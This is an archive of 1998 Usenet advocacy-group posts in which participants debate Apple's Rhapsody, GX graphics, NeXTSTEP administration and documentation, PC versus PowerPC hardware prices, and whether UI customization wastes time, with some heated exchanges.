References: <6e6jl3$csu$3@ns3.vrx.net> <B12D7BD5-3CE309@141.214.128.36> <3521DC87.5515B046@nstar.net> <6fu5er$2f7$1@interport.net> <3522A4BC.74C7BEF0@nstar.net> <slrn6i6eob.j6l.sal@panix3.panix.com> <35234369.8CB74DE3@nstar.net> <slrn6i7soc.kjl.sal@panix3.panix.com> <3523F54C.6F87@CONVEX.COM>
On Thu, 02 Apr 1998 14:30:04 -0600, Michael Peck <ECK@CONVEX.COM> wrote:
>Salvatore Denaro wrote:
>> Ok. But how do you expect to manage the OS without docs?
>Because it "Just Works"? I've never read a single manual for
>administration of MacOS. Not a single one.
Did you compile pppd for MacOS? Build gcc? Set up NFS links? Remove the native
AppleTalk networking and replace it with NIS/NFS? I don't think that you are
comparing the same types of tasks.
>> How often do you reconfig X?
>Whenever I like.
>> How often do you reconfig the NeXT wm?
>Whenever I was willing to wait.
>> I ran
>> Linux for over 18 months without having to modify my wm.
>Great! My usage patterns are markedly different.
Yes, I spend more time working and you spend more time configing. :)
>> A 10 minute wait,
>> while less than desireible, is hardly unreasonible.
>Wrong, wrong, wrong. 10 minutes is 17% of an hour, or 2.1% of a workday.
>I really can't afford to waste time like that, especially not if it's
>going to be required on a repeated basis.
Why is it required on a repeated basis? Compare the time spent editing .rc files
with the time spent waiting to load your changes. I know I spent a lot more than
ten minutes editing rc files when I moved from fvwm to afterstep.
>How often do you reconfigure your IP settings? Not often? So do you
>think it's acceptable that Win95 requires a reboot to change them? I
>don't.
One reboot is OK. Needing three reboots durring the network set up phase is
not Ok.
After you make those kinds of edits. you should reboot to make sure they work
after a restart. I've seen many instances where people have installed deamons,
or updated thm and not test to see if they "just work" after a restart.
--
sal@panix.com Salvatore Denaro
"The reality of the software business today is that if you find
something that can make you ridiculously rich, then that's something
that Microsoft is going to take away from you." -- Max Metral
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Date: 2 Apr 1998 14:22:01 -0700
Organization: Primenet Services for the Internet
Message-ID: <B14950AB-30914@206.165.43.94>
References: <6g0au4$3a8$1@ns3.vrx.net>
nntp://news.primenet.com/comp.sys.next.advocacy,
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Maury Markowitz <maury@remove_this.istar.ca> said:
Lawson English <english@primenet.com> said:
> > I don't think that you guys appreciate the magnitude of the task of
> > recreating GX without Apple.
>
> Yeah, but do we need it all? Or do we need 80% of it? 50%? The stuff
> that would have made my job easier would have been the lower 10%.
But GX provides the layout capabilities needed for doing a PageMaker-level
DTP tool for the multi-lingual Asian market. In fact, that is what it is
being used for. Ready, Set, Go Global! and Nissus GXMagic are targeted at
that market. Please show me how to write the equivalent level of
text-control using Rhaposdy? With GX, the control is already there. You
just need to apply word-wrap yourself.
Now, back to your point about color control. Much of GX vector graphics
color already exists in Rhaposdy. However, GX color applies equally to
bitmaps. Not so, as I understand it, with Rhapsody color. You might be able
to put a bit of NSText on top of a bitmap using the equivalent of GX Inks,
but can you take that text, use it as a mask for a bitmap, and then apply
that bitmap to another bitmap with the same level of control?
Not from what I have been told.
No. This whole "Rhaposdy is better" thing really boils down to "I can do
what *I* need and to hell with innovation in the area of 2D graphics since
I don't care about anyone else's needs besides my own."
That is what you've basically said and what many others have basically said
in response to me whenever I raise the point that GX can do something that
Rhapsody graphics and NSText cannot.
Lame.
Totally lame.
I mean, it already exists, so why not make use of it or at least let others
do so, instead of badmouthing the technology?
Oh, right. You don't think much of OD and CD, either.
---------------------------------------------------------------------
"OpenDoc may be impressive technology, but if no-one else is using it, why
should Apple?" --Steve Jobs
"In short: if you want to blow people away with what can be done *only* on
a Mac, show them Cyberdog." --Tom Keyes
<news://cyberdog.apple.com/cyberdog.general/19411>
---------------------------------------------------------------------
From: sal@panix3.panix.com (Salvatore Denaro)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Date: 2 Apr 1998 21:18:31 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6i8057.kjl.sal@panix3.panix.com>
References: <199801202218001457904@ppp8.hol.fr> <slrn6e47gt.75j.jstevens@samoyed.ftc.nrcs.usda.gov> <6bunvs$btf$1@ns3.vrx.net> <6cisv6$kbn$2@quasar.dimensional.com> <6dbrd2$fn6$22@ironhorse.plsys.co.uk> <34FAD56E.F4B08F27@markelcorp.com> <6dfoc4$3o0$1@quasar.dimensional.com> <slrn6fn71t.cnk.sal@panix3.panix.com> <6ffdae$4qq$1@quasar.dimensional.com> <slrn6hno4t.5p.sal@panix3.panix.com> <6fkjic$dcs$1@quasar.dimensional.com> <6flfq7$lu4$1@bignews.shef.ac.uk> <6fnt3g$r69$1@news.cs.tu-berlin.de> <6fva58$6th$1@quasar.dimensional.com>
On 2 Apr 1998 06:10:48 GMT, Kenneth R. Kinder <Ken@_$spamless$_KenAndTed.com> wrote:
>> They then wrapped this stuff with the AppKit, an OO layer so good
>> that even now, 10 YEARS (!) later it still is so far ahead of the
>> pack that it isn't even funny.
>Tell more... What do you like about it? Any disadvantages?
IIRC, AppKit is still not thread safe. This is its bigest flaw. There
are, of course, simple ways to get around this;but Apple really should
fix this.
>I dunno... I don't know enough about AppKit to say, but honestly, I think
>you should take a look at some of the stuff OS/2 does!
I am boycotting IBM. They have lots of evil software patents. :)
>Watch out for Gnome in about five years guys... :) We're genna build one
>hell (excuse me) of a GUI/API desktop!
Tell me when its done, I'll take a look.
>Yeah, you have a character mode interface. But can you really administer
>everything in your NS box from it?
Yes.
>Rhapsody has promised to be even more
>GUI'd. It seems like they act as if a CLI were just left in for backup or
>for the old foggies who think it's better... there are cases, many cases,
>when a CLI is faster, easier, and certainly less resource hungry.
I see no reason to think that they will remove the CLI functions. The most
likely scenario is that they will build GUI tools for the existing CLI
commands and leave the CLI alone.
>I mean Steve Jobs' philosophy that everything should be done in a GUI. Look
>at the Mac. My fear would be, if I were an NS user, that Apple's
>integration would put even more into the GUI and even less in the CLI.
NS came after the Mac, and it was built on Unix with a full CLI. I see no
reason to think that Apple is going to revert to a GUI only system for
Rhapsody. They expect it to be used as a power user system.
>Regardless... Here's the thing... Sal answered some of my questions on
>NS technology rather suspicously. I suspected that he was not being
>completely honest or leaving out important details.
What makes you think that? I've posted complients about Rhapsody and
Openstep. In c.s.next.advocacy I listed ten things that I think are
sorely needed in Rhapsody. I've very objective.
>explaned in a reasonible fassion what they were. So, I'm thinking maybe
>he's alright after all. In the very next post, he goes on to make a
>statement that would lead one to beleive that distributed objects were OC
>exclusive.
PDO is an Apple/NeXT product and it is Obj-C exclusive, AFAIK. I doubt that
I ever claimed that "distributed objects" are exclusive to Obj-C.
>Anyway, that's my beef with Sal. For him, it means flaming me in virtually
>every post I make.
No, just the ones where you lie about what I have said.
--
sal@panix.com Salvatore Denaro
"The reality of the software business today is that if you find
something that can make you ridiculously rich, then that's something
that Microsoft is going to take away from you." -- Max Metral
From: John Sevey <jssevey@spamno.merge.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Date: Thu, 02 Apr 1998 15:57:58 -0600
Organization: Inc.Net http://www.inc.net
Message-ID: <352409E6.827F190F@spamno.merge.com>
References: <199801202218001457904@ppp8.hol.fr> <6flfq7$lu4$1@bignews.shef.ac.uk> <6fmtdo$qr7$1@quasar.dim <tbrown-3003982122070001@mv149.axom.com> <6fsc2b$brg$1@inconnu.isu.edu> <6fu6ag$3jr$1@interport.net> <3522A170.3DC9099@spamno.merge.com> <6g033u$80p$13@blue.hex.net>
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Christopher Browne wrote:
> The problem is that one person's "cheap, commodity" PPC box is another
> person's "isn't that overpriced?" PPC box.
Point taken. When I wrote the original article, I was thinking about
IBM's Power series computers, and comparing their price with that of the
"consumer" PPC computers. My company has a nice little IBM Power 850
running AIX. I think it uses a 166Mhz 603e and cost ~$4500. This is
clearny NOT commodity, huh?
> You can put together an eminently functional *new* system including
> monitor and a reasonable amount of RAM for about $1000 if you go with a
> Cyrix/AMD CPU in the "Intel realm."
I've been attempting to do that Intel PC thing, and have come up with a
"functional" system (166Mhz, 32M ram, 1 gig drive, etc) for about $700,
with a crappy monitor.
> I don't see that in the PPC architecture. It looks like I have to start
> out by spending about $2000 to get anything in a new system. And it's
> not clear that it is all that much better than the $1000 "disposable"
> system.
While I don't want to get into that "The chip inside every Power
Macintosh G3 is up to twice as fast" argument (save it for
comp.sys.mac.advocacy), I can argue that my current PPC Linux Power
Computing Mac clone is worth (used) less than the $700 build-your-own PC
system. I could argue that the speed/performance of these two systems
that I mentioned are somewhat comparable.
> It'll surely have a faster CPU, but it may have the *same* hard drive,
> and not (at least not *clearly*) be substantially faster from an I/O
> perspective.
If I didn't want to buy a G3 Mac (these are the $1500-$4000+ price
range), I could also consider the $900-$1500 clones and non-G3 PowerPC
Macs that are still out there, new. Some of these even use the 166Mhz
603e, like the IBM Power 850.
BTW, I think that I could come up with a new PPC/Linux system that was
within $250 of the $700 "build-it" PC that I mentioned. The difference
would mainly be the cost of a crappy monitor.
Regards,
-John
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Date: 2 Apr 1998 17:13:15 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6g0gvb$3a8$11@ns3.vrx.net>
References: <6g0au4$3a8$1@ns3.vrx.net> <B14950AB-30914@206.165.43.94>
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Cc: english@primenet.com
In <B14950AB-30914@206.165.43.94> "Lawson English" claimed:
> But GX provides the layout capabilities needed for doing a PageMaker-level
> DTP tool for the multi-lingual Asian market.
Yeah, but I think OS does too. MY program is a graphics app, so I don't
care about those ones.
> that market. Please show me how to write the equivalent level of
> text-control using Rhaposdy? With GX, the control is already there. You
> just need to apply word-wrap yourself.
I think OS does that too.
> No. This whole "Rhaposdy is better" thing really boils down to "I can do
> what *I* need and to hell with innovation in the area of 2D graphics since
> I don't care about anyone else's needs besides my own."
Balogna. It's the "get off your butt and do it and stop whining about it"
camp. Sure, if I had all the things I wanted in Rhaps my program would do
THAT MUCH MORE, but for now I'll be happy because I'm still going to kick
rump.
> That is what you've basically said and what many others have basically said
> in response to me whenever I raise the point that GX can do something that
> Rhapsody graphics and NSText cannot.
You mean because you keep saying the same points over and over for well
over a year now?
> Lame.
>
> Totally lame.
Couldn't agree more!
> I mean, it already exists, so why not make use of it or at least let others
> do so, instead of badmouthing the technology?
That's what they're doing!
> Oh, right. You don't think much of OD and CD, either.
No, just OD.
Maury
From: "William V. Campbell Jr." <wcampbe1@san.rr.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Date: 2 Apr 98 14:21:53 -0800
Organization: Road Runner
Message-ID: <B1494FA4-42091@204.210.20.147>
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nntp://news-server/comp.sys.next.advocacy,
nntp://news-server/comp.os.linux.advocacy
Hey guys, take a hint. Rhapsody *is* for the open minded, not for the
Kenneth Kinders, Rex Rileys et al. of the world. If he has no need for it
and no desire to try it once it hits the streets, why try to convince him
otherwise. ( Although I must admit that I have learned a lot from these
exchanges and they are sometimes very entertaining).
Let him put out his mis-information and his double-talk when he is
corrected on the merits of Rhapsody. He's just jerking your collective
chains and enjoying every minute of it.
I bet you will not find him on the MS newsgroups with this garbage, because
they don't give a damn about Unix, Linux or anything else not put out by
Billy Boy. No, he thinks we care that he loves Linux and feels hurt that we
don't love it too. He wants to take his Unix baseball and go home and leave
us with our homemade bastardized version of Unix (Rhapsody).
He wants to prove you guys wrong but deep down his knows that he is walking
down a dead-end road, and it is the bottom of the ninth.
Rhapsody is the Future.
Take the lead or move aside! (Steve Jobs to Gil)
take care,
Soup
From: scholl@xena.acsu.buffalo.edu (Edward P Scholl)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Followup-To: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Date: 2 Apr 1998 17:30:15 -0500
Organization: University at Buffalo
Message-ID: <6g13hn$r30$1@xena.acsu.buffalo.edu>
References: <199801202218001457904@ppp8.hol.fr> <6flfq7$lu4$1@bignews.shef.ac.uk> <6fmtdo$qr7$1@quasar.dim <tbrown-3003982122070001@mv149.axom.com> <6fsc2b$brg$1@inconnu.isu.edu> <6fu6ag$3jr$1@interport.net> <3522A170.3DC9099@spamno.merge.com> <6g033u$80p$13@blue.hex.net> <352409E6.827F190F@spamno.merge.com>
NNTP-Posting-User: scholl
John Sevey (jssevey@spamno.merge.com) wrote:
: > You can put together an eminently functional *new* system including
: > monitor and a reasonable amount of RAM for about $1000 if you go with a
: > Cyrix/AMD CPU in the "Intel realm."
: I've been attempting to do that Intel PC thing, and have come up with a
: "functional" system (166Mhz, 32M ram, 1 gig drive, etc) for about $700,
: with a crappy monitor.
ummm, you guys gotta shop around a little better... in january i put together
a system for a friend w/ k6 233, 32 meg dimm, 3.2 gig wd drive, 24x cd, etc
for about $800. cpu prices have dropped quite a bit since then, and
hard drive prices too. i think for that price you could get the same
system w/ a somewhat decent monitor now.
-ed
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Date: 2 Apr 1998 15:51:01 -0700
Organization: Primenet Services for the Internet
Message-ID: <B1496555-7E44A@206.165.43.94>
References: <slrn6i80t8.kjl.sal@panix3.panix.com>
To: "Salvatore Denaro" <sal@panix3.panix.com>
nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.os.linux.advocacy
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Salvatore Denaro <sal@panix3.panix.com> said:
> Lawson, if you aim to capture the top 10% of what GX can do, and then
> extend it
> in a clean OO way, you'll end up with a better system than GX.
Really? Why?
> I am very willing to move this to email and discuss it with you.
Go ahead.
---------------------------------------------------------------------
"OpenDoc may be impressive technology, but if no-one else is using it, why
should Apple?" --Steve Jobs
"In short: if you want to blow people away with what can be done *only* on
a Mac, show them Cyberdog." --Tom Keyes
<news://cyberdog.apple.com/cyberdog.general/19411>
---------------------------------------------------------------------
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Date: 2 Apr 1998 15:55:01 -0700
Organization: Primenet Services for the Internet
Message-ID: <B149664E-81E97@206.165.43.94>
References: <slrn6i80t8.kjl.sal@panix3.panix.com>
To: "Salvatore Denaro" <sal@panix3.panix.com>
nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.os.linux.advocacy
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Salvatore Denaro <sal@panix3.panix.com> said:
> Lawson, if you aim to capture the top 10% of what GX can do, and then
> extend it
> in a clean OO way, you'll end up with a better system than GX.
I just wanted to make a comment in public before moving this to e-mail.
GX printing NEEDS 100% of the functionality of GX printing in order to
handle the high-end. THe fact that you might not need it for the low-end is
sorta like saying "I dont' use 100% of all DPS's operators, so why bother
implementing them?" If you leave it up to each individual programmer to
implement, then DPS won't be compatible with PS and it won't provide an
integrated display-printing system.
And GX often (usually, in my opinion) provides a *superior* level of
integration between printing and display.
---------------------------------------------------------------------
"OpenDoc may be impressive technology, but if no-one else is using it, why
should Apple?" --Steve Jobs
"In short: if you want to blow people away with what can be done *only* on
a Mac, show them Cyberdog." --Tom Keyes
<news://cyberdog.apple.com/cyberdog.general/19411>
---------------------------------------------------------------------
From: Jonathan Hendry <jhendry@subsequent.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Rhapsody being scrapped? What's up with this?
Date: 3 Apr 1998 05:27:50 GMT
Organization: Steel Driving Software, Chicago
Sender: Jonathan Hendry <jhendry@isdnjhendry.cmg.fcnbd.com>
Message-ID: <6g1s0m$9or@sjx-ixn3.ix.netcom.com>
References: <slrn6hid19.2bd.sal@panix3.panix.com> <B14406C9-42E38@158.152.49.144> <slrn6i2i39.a5o.sal@panix3.panix.com> <6ft630$kkr$1@nnrp1.dejanews.com> <slrn6i6f4f.j6l.sal@panix3.panix.com> <stevehix-0204981626580001@ip43.safemail.com> <rmcassid-0204981645350001@dante.eng.uci.edu>
rmcassid@uci.edu wrote:
> True, but for myself I'd be inclined to buy the AIO, shove a ATI Rage Pro
> card in it and add a second 17" monitor. At around $2350, that kicks ass
> for authoring and light publishing, not to mention coding and essentially
> gets me a free 16" monitor. Compare to $2200 for a G3 with only one 17"
> and a slower ATI chipset and the decision is a no-brainer.
I'd rather have the second screen be NEC's new 14" LCD monitor that Pivots.
Geez I hope they get drivers for Rhapsody. Eh Mike P? Please? Any chance?
- Jon
From: "William V. Campbell Jr." <wcampbe1@san.rr.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Date: 2 Apr 98 22:21:42 -0800
Organization: Road Runner
Message-ID: <B149BFFA-1E8F39@204.210.20.147>
References: <35244fdb.0@206.25.228.5>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
nntp://news-server/comp.sys.next.advocacy,
nntp://news-server/comp.os.linux.advocacy
"John Kheit" <John Kheit <jkheit@xtdl.com> wrote:
>I disagree, Rex is pretty open minded. Assuming you use the macOS
>or windows only, he's likely much more open minded than you. He
>bought into NeXT for crikies sake. A little niche pimple on the
>ass of a gorilla platform and gave it it's fair shake. If your
>claim to open minded fame is getting on board the Rhapsody train,
>a huge platform by comparison, then I'd say you don't have any
>credibility relatively. I can't speak for Rex, but I think he
>hopes Rhapsody does well. On the other hand, I think he hopes that
>Apple doesn't repeat every mistake it's made in the past. Being
>critical in the hopes of improving things seems to be something
>good for all involved. Not accepting valid criticisms seems more
>a hallmark of closed thinking, at least to me. YMMV.
>--
>Thanks, be well, take care, later, John Kheit; self expressed...
I applaud Rex, and anyone else who had the courage to "Think Different".
My limited experience with computers ( 3yrs. ) has pretty much kept me
wedded to the MacOS. My main issue with Ken Kinder, Johnathan and their ilk
is that they use Rhapsody as their whipping boy when it is really Steve
Jobs and Apple whom they really have a problem with. In Rex's case, it's I
liked NexT then, but now that Apple owns it they will screw it up. HEY,
didn't and doesn't the same guy run both companies?
Please stop with this *well Apple has made so many mistakes in the past
crap.* THIS IS NOT THAT APPLE. They have an entirely new Board of
Directors, a new CEO,(abeit,interim), new engineers, and new heads for
every important department. This is NExT running Apple, not the other way
around!
I understand that they fear the OPENSTEP they have come to love, will be
co-oped by the MacOS. I believe Avie and Steve love their baby too much to
allow that to happen.
I believe in constructive criticism as much as the next guy. But when the
integrity of YB, OB, IB, and Rhapsody has been very eloquently and
patiently explained in thread after tireless thread by mm. crawford, j.
ragosta, r. cassidy, and yourself it gets very frustrating.
What's the deal? Is it that the likes of Kinder, Jonathan, et al, cannot
see or do they refuse to see. I cast my vote for the latter. If one
disagrees that is one thing, but to hold a position or opinion in face of
irrefutable facts is stupidity. Further more *they change their position or
opinion* whenever one is shot down for one that is even more absurd......
ahhh the agony! :-)
Maybe John, you love going around in circles with these guys. Maybe I'm
missing the whole point of newsgroups such as this one. If so, I stand to
be corrected.
Well anyway, I've learned more about YB,OC,OO,IB than I really cared to
know.I can't say that it's not interesting. At times I leave this group
with my head spinning. Looking forward to more interesting threads.
take care,
Soup
"One must get out the habit of measuring man against an Ideal."
-Albert Einstein-
From: rmcassid@uci.edu
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Rhapsody being scrapped? What's up with this?
Date: Thu, 02 Apr 1998 22:27:18 -0800
Organization: University of California, Irvine
Message-ID: <rmcassid-0204982227180001@dante.eng.uci.edu>
References: <slrn6hid19.2bd.sal@panix3.panix.com> <B14406C9-42E38@158.152.49.144> <slrn6i2i39.a5o.sal@panix3.panix.com> <6ft630$kkr$1@nnrp1.dejanews.com> <slrn6i6f4f.j6l.sal@panix3.panix.com> <stevehix-0204981626580001@ip43.safemail.com> <rmcassid-0204981645350001@dante.eng.uci.edu> <stevehix-0204982157560001@ip52.safemail.com>
In article <stevehix-0204982157560001@ip52.safemail.com>,
stevehix@safemail.com (Steve Hix) wrote:
>In article <rmcassid-0204981645350001@dante.eng.uci.edu>, rmcassid@uci.edu
>wrote:
>> stevehix@safemail.com (Steve Hix) wrote:
>> >(Salvatore Denaro) wrote:
>
>> >> The AIO has the same expansion. Apple should kill the Desktop 233
and lower
>> >> the prices on the other Desktops. The DT266 should be at $1699 with an AV
>> >> card in order to make it competitive with the AIO.
>> >
>> >Well, some people with the 233 might want a bigger monitor than they get
>> >with the AIO.
>>
>> True, but for myself I'd be inclined to buy the AIO, shove a ATI Rage Pro
>> card in it and add a second 17" monitor. At around $2350, that kicks ass
>> for authoring and light publishing, not to mention coding and essentially
>> gets me a free 16" monitor. Compare to $2200 for a G3 with only one 17"
>> and a slower ATI chipset and the decision is a no-brainer.
>
>You've got the desktop real estate, which is nice.
Well, I don't really. I'm actually torn between getting a new desk to hold
another 17" at about $1500 (this is in the office) and hoping I can get a
Wall Street at my next upgrade and replacing my 17" with a Studio Display.
The latter would cost about $1500 more than the former, but might be
better in the end.
Regardless, the fact of the matter is that two monitors is damn close to
neccessary for some jobs. Flat panel displays will make things *so* much
better...
>Some people don't have that luxury. (And I would have agreed with you
>a few weeks ago, before I got to talk with some members of my company's
>Japanese and Asian groups...space can be at a *serious* premium. The subject
>that brought the issue up was documentation format, believe it or not.)
A friend of mine lived in Japan for a few years and relayed some of the
experiences. The US feels *awfully* spread out - even New York which felt
very cramped compared to California (I actually like the cramped,
personally) sounds *very* spacious compared to Tokyo.
>> AIO = marketshare
>> G3 = profit margins
>
>I would be astounded if Apple isn't looking in that direction...
I'm positive that they are. About damn time as well.
-Bob Cassidy
From: sal@panix3.panix.com (Salvatore Denaro)
Newsgroups: comp.sys.next.advocacy
Subject: Re: NeXT style scroll bars
Date: 2 Apr 1998 20:20:28 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6i7soc.kjl.sal@panix3.panix.com>
References: <6e6jl3$csu$3@ns3.vrx.net> <B12D7BD5-3CE309@141.214.128.36> <3521DC87.5515B046@nstar.net> <6fu5er$2f7$1@interport.net> <3522A4BC.74C7BEF0@nstar.net> <slrn6i6eob.j6l.sal@panix3.panix.com> <35234369.8CB74DE3@nstar.net>
On Thu, 02 Apr 1998 07:51:05 +0000, Michael J. Peck <mjpeck@nstar.net> wrote:
>Salvatore Denaro wrote:
>> On Wed, 01 Apr 1998 20:34:04 +0000, Michael J. Peck <mjpeck@nstar.net> wrote:
>> >There was, of course, trying to get it to stop using NetInfo, so that it
>> Did you RTFM? This might even be in the NeXT FAQ, IIRC.
>Which manual? I read the FAQ, but didn't see anything about this in
>there.
The NeXTAdmin manual. It should have been on your cube under /NeXTLibrary/Documentation
Or go to the NeXTAnswers site.
Or go to the NetInfo FAQ site at www.xedoc.com.au and download the
netinfo_user_guide.pdf. In chap 7 it lists all kinds of info on how to fix
problems. Page 61 of Chap 6 tells you how to remove the current DB. After
doing that you should have been able to build your own DB and done whatever
you wanted with it
It took me less than 5 minutes to find that info.
>> >There was trying to get NFS mounts set up automatically.
>> Did you read the man pages?
>*Really* wish I had had them. Three people in this newsgroup separately
>offered, in private email, to ship the man pages to me. It's my own
>fault that I didn't complete the arrangements, so I don't hold the NeXT
>community at fault for this.
Ok. But how do you expect to manage the OS without docs?
>> Terminal.App can do that. IIRC, there is a way to extend this to the
>> whole of NS. Did you do a Dejanews search?
>Yes, I did. Nothing of value turned up. Can you recommend a search
>criteria?
+NeXTStep +FAQ :)
Or you can go to peanuts.leo.org and poke around in the workspace, prefs,
defaults and system dirs for new controls and tools to poke around in the
defaults database.
>> No rc files. Use the dwrite command.
>I don't know anything about this command. I posted these problems as an
>explanation of what didn't "Just Work". Do you remember that discussion,
>Sal?
I did a Dejanews search for dwrite and (next OR nextstep or openstep) and
found that dwrite and dread are mentioned fairly often in c.s.next.*
>> So define them. Check out the "menu" section of Prefrences.App and set up
>> some other keys to do the same.
>I have no idea what you mean. I don't have Preferences.app in front of
>me, and can't, so I can't comment. I looked through preferences pretty
>well when I had them, so I don't really know what to say at this point.
Any menu item can be assigned a keyboard shortcut. Many/most other things
can also be assigned keyboard shortcuts.
>> Command-UpArrow, Command-DownArrow?
>D'oh! Wish I'd known that trick.
I read about it in c.s.next.*
>> > This box takes ten minutes to boot!
>> Linux/Metro-X on my P90 took about 6 minutes from power on to XDM logon.
>So who cares? Restarting the X server is the only thing one needs to do
>to reconfigure display settings in X Windows.
How often do you reconfig X? How often do you reconfig the NeXT wm? I ran
Linux for over 18 months without having to modify my wm. A 10 minute wait,
while less than desireible, is hardly unreasonible.
>> It's $250 now. And you don't need to buy Black hardware anymore. A P90
>> with 32mb of ram is just fine. Don't skimp on the video card.
>Good advice. But if you remember, the previous poster was discussion
>NEXTSTEP on native hardware. That's the only experience I have, so I
>limited my discussion to that.
--
sal@panix.com Salvatore Denaro
"The reality of the software business today is that if you find
something that can make you ridiculously rich, then that's something
that Microsoft is going to take away from you." -- Max Metral
Newsgroups: comp.sys.next.advocacy
Subject: Re: NeXT style scroll bars
References: <6e6jl3$csu$3@ns3.vrx.net> <B12D7BD5-3CE309@141.214.128.36> <3521DC87.5515B046@nstar.net> <6fu5er$2f7$1@interport.net> <3522A4BC.74C7BEF0@nstar.net> <35238f19.0@nnrp1.news.uk.psi.net> <3523c19a.0@206.25.228.5> <3523C702.B22B2BDB@nstar.net>
From: John Kheit <jkheit@xtdl.com>
Organization: monoChrome, Inc., NJ, USA
Message-ID: <3523d4b9.0@206.25.228.5>
Date: 2 Apr 98 18:11:05 GMT
"Michael J. Peck" <mjpeck@nstar.net> wrote:
> John Kheit wrote:
> > Exactly, customization is such a huge time sink. I just see
> > people didling with win95 settings all day. Does it add any
> > increase to productivity? Only if you count negatives as
> > additive.
> Huh? You know, John, for somebody who actually spawned the thread
> about how awful the *background color* was on the Rhapsody
> sneak-screenshots, you seem to be accusing me of some pretty
> petty thinking. Do you really think that by "customization" I
> mean background colors and screen savers and other useless doodads?
Well, I don't remember if I spawned it or not, but I'll take the
credit regardless. :) No, I mean more *meaningful* customization
as well. Things like scroller size, font size, handle positions,
and even more meaningful customizations.
> [cut]
> > Is it 1) perfect? Hardly. Is it 2) the best UI that will be
> > the least imperfect to a wide and disparate group of users?
> > I certainly doubt it, it could go much further in that direction.
> > Is it 3) a "do it your way" "please everyone UI"? No, and I'm
> > happy it isn't,
> This is SO funny. I really mean that, this is hilarious. Because
> I've just been taking it up the ass from people like Salvatore
> Denaro who insist that X Windows doesn't do *enough* to construct
> a pleasing UI, and now you're telling me that NEXTSTEP is actually
> more *minimal*?
Not really. I'm sure I did as little as possible to convey my
meaning. The NeXTSTEP UI, in my opinion, tries to make a UI to work
as well as possible for everyone. Of course, on an individual
level, it will piss everyone off in some way or another. In my
opinion, it pisses everyone off in sum total, less than any other
UI. That doesn't mean that some individuals will be absolutely
livid with it, and that same individual would be less livid with
another environment. Kind of "the least bad karma" UI. Also, it
doesn't mean it's perfect. Hell, there is stuff in win95 that I
just love. Some of the stuff in the start button. Copy and pasting
of files. Or the macUI, or X interfaces etc.
> > because at that point I find the UI is more a focus than the
> > tasks to be performed under it. I personally think option 2
> > is the best overall solution for a general UI for most people,
> > in particular
> And I am likewise a firm believer in the 90% solution. My problem
> is not with your philosophy, John, it's with your contention that
> NEXTSTEP is a 90% solution. I'd say it's more like 50-60%, and
> I couldn't do a damned thing to extend it.
I am not a proponent of 90% rule in this case. The problem with
pleasing 90% of the people's needs 90% of the time is that will
require them the ability to diddle, i.e. customize. I am in a
minority position that believes that this placating of their fancy
is an overall hinderance upon productivity. So I might even like
an OS, that pisses off 90% of the people if they are 200% more
productive on it.
> > My guess is MJP falls into a group 3 catagory. Which is fine
> > and dandy. The NeXTUI definatly won't be his cup of tea.
> What utter bullshit! You really think I'm Joe Schmuck down the
> hall who's playing solitaire and configuring Win95 background
> colors, John?! You really think I'm mister After Dark 4.0 who's
> gleefully watching Lawn Mower Man eat up his grassy screen?
> If you think that's what I'm talking about, you're dead wrong
> and you've mistaken the context of my previous remarks. I despise
> the waste of time induced by people with a System Folder full of
> Kaleidoscope modules or a c:\windows directory filled with the
> latest "Microsoft PowerToys". If I were a manager, I'd have those
> people fired before they came in on their first day of work.
Well, that's fine Mike, but that's what people generally do with
the ability to customize. They waste time. That you don't is a
credit to you. You are a better person than me. I'm one of the
people you despise. Because, I know when I'm offered the ability
to diddle, I inevitably will take it up. Under win95, I tried to
make things more monotone, and made the fonts, so, and the scrollers
so. And after a while I think, hmm, maybe they would be better
this way. And, hey, wouldn't this set of icons be more subtle and
refined. And I waste time. Heck, I wish I had a GUI decorator!
Maybe it's harmless time. Maybe I would have just spent that time
daydreaming. I don't know. But I do know that the *majority* of
people do it. That there are exceptions, doesn't disprove the general
case. And that's my general *corporate* argument against customization.
That as a net sum game, it causes a greater loss of productivity
than is gained. That a good UI "decorator" can make a general case
for the vast majority of people in which they will be more productive
if they are not afforded the opportunity of customization; regardless
of the level of substance or triviality. Just my experience and
observations. Yours clearly differ.
--
Thanks, be well, take care, later, John Kheit; self expressed...
__________________________________________________________________
monoChrome, Inc. ASCII, MIME, PGP, SUN, & NeXTmail OK
NeXT/OPENSTEP Developer mailto:jkheit@xtdl.com
